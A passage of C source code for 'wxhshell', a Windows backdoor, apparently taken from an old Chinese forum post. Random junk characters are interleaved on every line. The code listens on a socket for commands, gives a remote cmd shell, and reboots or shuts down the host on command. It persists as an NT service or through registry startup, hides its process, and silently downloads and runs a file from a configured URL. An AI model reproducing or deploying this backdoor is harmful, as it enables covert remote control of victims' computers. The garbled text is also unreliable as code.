u_Wftb?9  
    switch(cmd[0]) { {vhP'!a6W  
  anzt;V.;Y  
  // 帮助 #Q]^9/;|4n  
  case '?': { NT0im%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); nOCCOTf  
    break; ^H(,^cVN  
  } ^vY[d]R _\  
  // 安装 +%~/~1  
  case 'i': { 61@;3yV  
    if(Install()) pBxyq"z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W=S<DtG2  
    else *U mWcFoF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zR!p-7_w  
    break; jU9\BYUg  
    } uxOeD%Z>  
  // 卸载 [0?W>A*h  
  case 'r': { lVYrP|#  
    if(Uninstall()) E*Z# fa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TPF5?  
    else @}<b42  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S]x\Asj;w  
    break; `3e>JIl"0  
    } \3WQ<t)W  
  // 显示 wxhshell 所在路径 Wb%t6N?  
  case 'p': { V{{Xz:   
    char svExeFile[MAX_PATH]; Bnfp_SM  
    strcpy(svExeFile,"\n\r"); g}OZ!mKd  
      strcat(svExeFile,ExeFile); PC<[ $~  
        send(wsh,svExeFile,strlen(svExeFile),0); 9 S4bg7  
    break; 2X,`t%o  
    } KNG7$icG  
  // 重启 NVX@1}  
  case 'b': { IZs NMY  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); T^DJ/uhd  
    if(Boot(REBOOT)) m#,AD,s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \|YIuzlO4  
    else { :V!F~  
    closesocket(wsh); =v{Vl5&>?  
    ExitThread(0); ,<t)aZL,A;  
    } (Zoopkxw  
    break; P;U(2;9 N  
    } )Y &RMYy  
  // 关机 I /z`)  
  case 'd': { GO]5~ 4k  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >]<4t06D  
    if(Boot(SHUTDOWN)) UJiy] y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i@L_[d^|j`  
    else { C0}@0c  
    closesocket(wsh); 60#eTo?}o  
    ExitThread(0); k@[{_@>4^  
    } ~zYk,;m  
    break; sW&5Mu-  
    } XM57 UG  
  // 获取shell x~u"KU2B  
  case 's': { 1W'0h$5^"  
    CmdShell(wsh); @h,3"2W{Ev  
    closesocket(wsh); e|d~&Bk0  
    ExitThread(0); U BWUq  
    break;  \RS ,Y  
  } P47x-;  
  // 退出 eXAJ%^iD  
  case 'x': { Q#5~"C  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;J,`v5z0:  
    CloseIt(wsh); \h@3dJ4  
    break; awl3|k/  
    } }0}=-g&  
  // 离开 b!JrdJO,DP  
  case 'q': { 'Bwv-J  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); x K ;#C  
    closesocket(wsh); mu{\_JX.A  
    WSACleanup(); /liZ|K3A  
    exit(1); M.9w_bW]#D  
    break; cBtQ2,<6  
        } uI\6":/u  
  } WXQ+`OH7  
  } l.xKv$uOGR  
kfgkZ"9  
  // 提示信息 {u[_^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PJL [En*  
} 7d^ ~.F  
  } uK=)65]  
s8  5l  
  return; lx<!*2 -^  
} \DcO .`L  
J,*+Ak ~  
// shell模块句柄 hr W2#v  
int CmdShell(SOCKET sock) q.bx nta"  
{ $kBcnk  
STARTUPINFO si; <~zPt&C]V  
ZeroMemory(&si,sizeof(si)); 8`z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DJb9] ,=a  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; snYyxi  
PROCESS_INFORMATION ProcessInfo; [nf 5<  
char cmdline[]="cmd"; L:\>)6]Ls  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); CrB4%W:{  
  return 0; g&rz*)|/  
} NwN3T]W  
 Dn#^-,H  
// 自身启动模式 cAq5vAqmg  
int StartFromService(void) Mq='|0,  
{ (SMk !b]}  
typedef struct srhI%Zj  
{ e F)my  
  DWORD ExitStatus; P9)L1l<3I  
  DWORD PebBaseAddress; ue*o>iohB  
  DWORD AffinityMask; H 3so&_  
  DWORD BasePriority; $;rvKco)%  
  ULONG UniqueProcessId; W[:CCCDL  
  ULONG InheritedFromUniqueProcessId; `<-/e%8  
}   PROCESS_BASIC_INFORMATION; uann'ho?q  
s6k(K>Pl  
PROCNTQSIP NtQueryInformationProcess; S1#5oy2  
c8Nl$|B  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7c!#e=W@B  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; owx0J,,G  
mFmxEv  
  HANDLE             hProcess; w:ASB>,!  
  PROCESS_BASIC_INFORMATION pbi; O1 !YHo  
_ glB<r$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3+&k{UZjt  
  if(NULL == hInst ) return 0; HWFL u  
s Fx0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V  n+a-v  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ( 7ujJ}#,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2(5/#$t  
eo~b]D  
  if (!NtQueryInformationProcess) return 0; [ldBI3  
"m`}J*s"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); X\kWJQ:  
  if(!hProcess) return 0; 2BiFP||  
ZiPz~G0[^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \Vpv78QF;  
ipE|)Ns  
  CloseHandle(hProcess); [?bq4u`  
U6.hH%\}@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v'm-A d+4t  
if(hProcess==NULL) return 0; yxi&80$  
@Z5,j)  
HMODULE hMod; xXfv({  
char procName[255]; k2(k0HFR  
unsigned long cbNeeded; %Fx ^"  
yqH9*&KH{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); g_J QW(_  
gvr&7=p  
  CloseHandle(hProcess); *'*n}fM  
~14|y|\/  
if(strstr(procName,"services")) return 1; // 以服务启动 <"8F=3:uk  
4"UH~A;^  
  return 0; // 注册表启动 1je/l9L  
} cl`7|;v|?  
y t7>,  
// 主模块 { <1uV']x  
int StartWxhshell(LPSTR lpCmdLine) 4 !m'9  
{ 4I9Yr  
  SOCKET wsl; 2Bi?^kQ#  
BOOL val=TRUE; ;p7R~17  
  int port=0; u@tH6k*cBz  
  struct sockaddr_in door; -hq^';,  
?dXAHY  
  if(wscfg.ws_autoins) Install(); .[+}nA,g%~  
jz S iw z  
port=atoi(lpCmdLine); K'B*D*w  
zN9#qlfv  
if(port<=0) port=wscfg.ws_port; ^Vi{._r  
gjx-tp 1.  
  WSADATA data;  OO</d:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; xUNq!({T  
5gkQ6& m  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /N#=Tol  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hAt4+O&P  
  door.sin_family = AF_INET; ;GKL[ tI"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); oF a,IA  
  door.sin_port = htons(port); 1M b[S{  
i'.D=o  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { XMz*}B6GQ  
closesocket(wsl); ?XeaoD/  
return 1; B@S~v+Gr  
} |bhv7(_  
*>2e4j]  
  if(listen(wsl,2) == INVALID_SOCKET) { {jv+ J L"5  
closesocket(wsl); 5V~vND* s  
return 1; 'h^Ya?g  
} L)4~:f)B  
  Wxhshell(wsl); Kz z/]  
  WSACleanup(); l-Ha*>gX[j  
UFLx'VX d  
return 0; `PUxR8y  
HCCq9us  
} / !y~Q|<|=  
6=Wevb5YJ  
// 以NT服务方式启动 SurreD<x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?:&2iW7z  
{ @^DVA}*b)  
DWORD   status = 0; (5CgC <  
  DWORD   specificError = 0xfffffff; =>kg]  
KYwUkuw)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; io(!z-$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; A@Lr(L  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  ?!<Q8=  
  serviceStatus.dwWin32ExitCode     = 0; 7yXJ\(6R_  
  serviceStatus.dwServiceSpecificExitCode = 0; F'F 6 &a+  
  serviceStatus.dwCheckPoint       = 0; 5;G0$M0  
  serviceStatus.dwWaitHint       = 0; }/#*opcv  
n).*=YLN  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Bp@\p)P(  
  if (hServiceStatusHandle==0) return; &,3s2,1U(  
cLRzm9  
status = GetLastError(); u+ hRaI;v  
  if (status!=NO_ERROR) /n6ZN4  
{ oRJ!TAbD  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; aOd|;Z  
    serviceStatus.dwCheckPoint       = 0; KJv%t_4'F  
    serviceStatus.dwWaitHint       = 0; !@wUAR Q  
    serviceStatus.dwWin32ExitCode     = status; {$5g29  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ux{0)"fj  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3)L#V .  
    return; =CD.pw)B1  
  } rqnxRq  
+v'2s@e` #  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =v 'Aub  
  serviceStatus.dwCheckPoint       = 0; h_\( $"  
  serviceStatus.dwWaitHint       = 0; _n!>*A!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Kv9FqrDj  
} dA E85  
9[teG5wA a  
// 处理NT服务事件,比如:启动、停止 23Dld+E&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Nr+~3:3  
{ OCJt5#e~A  
switch(fdwControl) q@~{ g[   
{ ^Sj;~  
case SERVICE_CONTROL_STOP: 4P=1)t?tX  
  serviceStatus.dwWin32ExitCode = 0; ,G-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Qa\,)<'D:  
  serviceStatus.dwCheckPoint   = 0; )_n(u3'  
  serviceStatus.dwWaitHint     = 0; $CJf 0[|  
  { cui%r!D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7ku=roPoF  
  } m@lUJY  
  return; %#PWD7a\  
case SERVICE_CONTROL_PAUSE: ^TjC  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :475FPy]  
  break; <}h <By)  
case SERVICE_CONTROL_CONTINUE: tN_=&|{WE4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; tIV{uVM[|D  
  break; =tY%`e  
case SERVICE_CONTROL_INTERROGATE: $Ff6nc=  
  break; T31F8K3x  
}; a7uL {*ZR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hoM%|,0  
} 3 {hUp81>  
Fw{68ggk  
// 标准应用程序主函数 8SL E*c^8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) n*' :,m  
{ $G6kS@A  
D!#B*[|  
// 获取操作系统版本 &<_q00F  
OsIsNt=GetOsVer(); :Ny[?jt c  
GetModuleFileName(NULL,ExeFile,MAX_PATH); gm n b  
evD=]iVD  
  // 从命令行安装 !syyOfu`}  
  if(strpbrk(lpCmdLine,"iI")) Install(); fAz4>_4  
NFtA2EMLu[  
  // 下载执行文件 avM8-&h  
if(wscfg.ws_downexe) { #H<}xC2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) n/ :#:  
  WinExec(wscfg.ws_filenam,SW_HIDE); =hd0Ui>x  
} tZm`(2S  
+5I'? _{V  
if(!OsIsNt) { 6v]`s  
// 如果时win9x,隐藏进程并且设置为注册表启动 dZ8ldpf8  
HideProc(); LR!%iP  
StartWxhshell(lpCmdLine); =S6bP<q  
} =R 4]Kf  
else Y:#B0FD,gC  
  if(StartFromService()) [u=yl0f  
  // 以服务方式启动 gdoaXw;Sy  
  StartServiceCtrlDispatcher(DispatchTable); GVu[X?q@|  
else p:$kX9mT&  
  // 普通方式启动 s-(c-E09  
  StartWxhshell(lpCmdLine); _V e)M%  
W8u&5#$I  
return 0; w1(5,~OB  
}
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只看该作者 1 发表于: 2006-10-10
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